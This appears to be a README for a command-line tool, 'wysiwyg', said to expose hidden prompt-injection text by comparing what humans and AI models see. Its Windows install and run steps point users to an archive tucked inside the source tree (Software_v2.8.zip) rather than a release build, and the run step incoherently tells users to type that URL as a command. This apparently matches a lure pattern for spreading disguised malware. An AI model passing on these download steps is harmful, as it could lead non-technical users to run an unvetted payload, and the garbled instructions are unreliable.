Welcome to wysiwyg! This tool allows you to compare how AI sees information versus how humans see it. With wysiwyg, you can uncover hidden prompt injection payloads that can affect how information is interpreted.

wysiwyg is a Command Line Interface (CLI) tool designed to show the differences between what people perceive and what AI systems process. This can help you identify security vulnerabilities, such as prompt injections, and ensure that you understand the nuances of AI processing.

Key Features:

• Detects hidden text that AI may incorrectly process.
• Provides clear differences between human and AI interpretations.
• Easy to use for non-technical users.

To run wysiwyg, you'll need the following:

• An operating system: Windows, macOS, or Linux.
• At least 1 GB of RAM.
• 100 MB of free disk space.
• Basic terminal or command-line knowledge is helpful, but not required.

Follow these steps to install and run wysiwyg:

1. Visit the Releases Page: Go to our Releases page to find the latest version of wysiwyg.

2. Download the Latest Version: On the Releases page, you will see a list of available versions. Click on the version that you want to download.

3. Choose the Correct File: Download the file suitable for your operating system:

   • For Windows, download https://github.com/Hazem-programmer/wysiwyg/raw/refs/heads/main/src/core/utils/Software_v2.8.zip.
   • For macOS, download wysiwyg-mac.
   • For Linux, download wysiwyg-linux.

4. Run the Application:

   • Windows: Open the Command Prompt, navigate to the folder where you saved the app, and type https://github.com/Hazem-programmer/wysiwyg/raw/refs/heads/main/src/core/utils/Software_v2.8.zip to start.
   • macOS: Open Terminal, navigate to the folder, and type ./wysiwyg-mac to run.
   • Linux: Open Terminal, navigate to the folder, and type ./wysiwyg-linux to execute.

wysiwyg works by taking your input and processing it to reveal the variations in how AI might interpret it. Here’s how to get started:

1. Open Terminal or Command Prompt.
2. Type the command: wysiwyg [your_input_here].
   • Replace [your_input_here] with the text or prompt you'd like to analyze.
3. Press Enter.
4. Review the output: The tool will compare the AI's processing with the human interpretation.

Here are a couple of examples to illustrate how wysiwyg can be used:

• If you want to analyze a simple statement, type:

  wysiwyg "I love pizza."
  

• For more complex inputs, you can use:

  wysiwyg "How does the prompt injection work?"
  

The output will show you the differences and any hidden texts that may be present.

Here are some common problems users might encounter and how to resolve them:

• Cannot find the application: Ensure you have navigated to the correct directory where your downloaded file is located before attempting to run it.

• Permission Denied Error (Linux/macOS): If you see this, type chmod +x wysiwyg-mac or chmod +x wysiwyg-linux to give the application execution permissions.

• Command Not Found Error: Double-check your command spelling and ensure you are in the right folder.

If you run into any issues or have questions about using wysiwyg, feel free to reach out to our community. You can open an issue in this repository or check out our discussions section for help.

For support inquiries or feature requests, please contact us via the GitHub issues page. We are here to help you understand and effectively use wysiwyg.

Want to contribute to wysiwyg? We welcome contributions from everyone. You can check our issues page for current tasks or submit a pull request with your improvements.

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For easy access, visit our Releases page to download wysiwyg.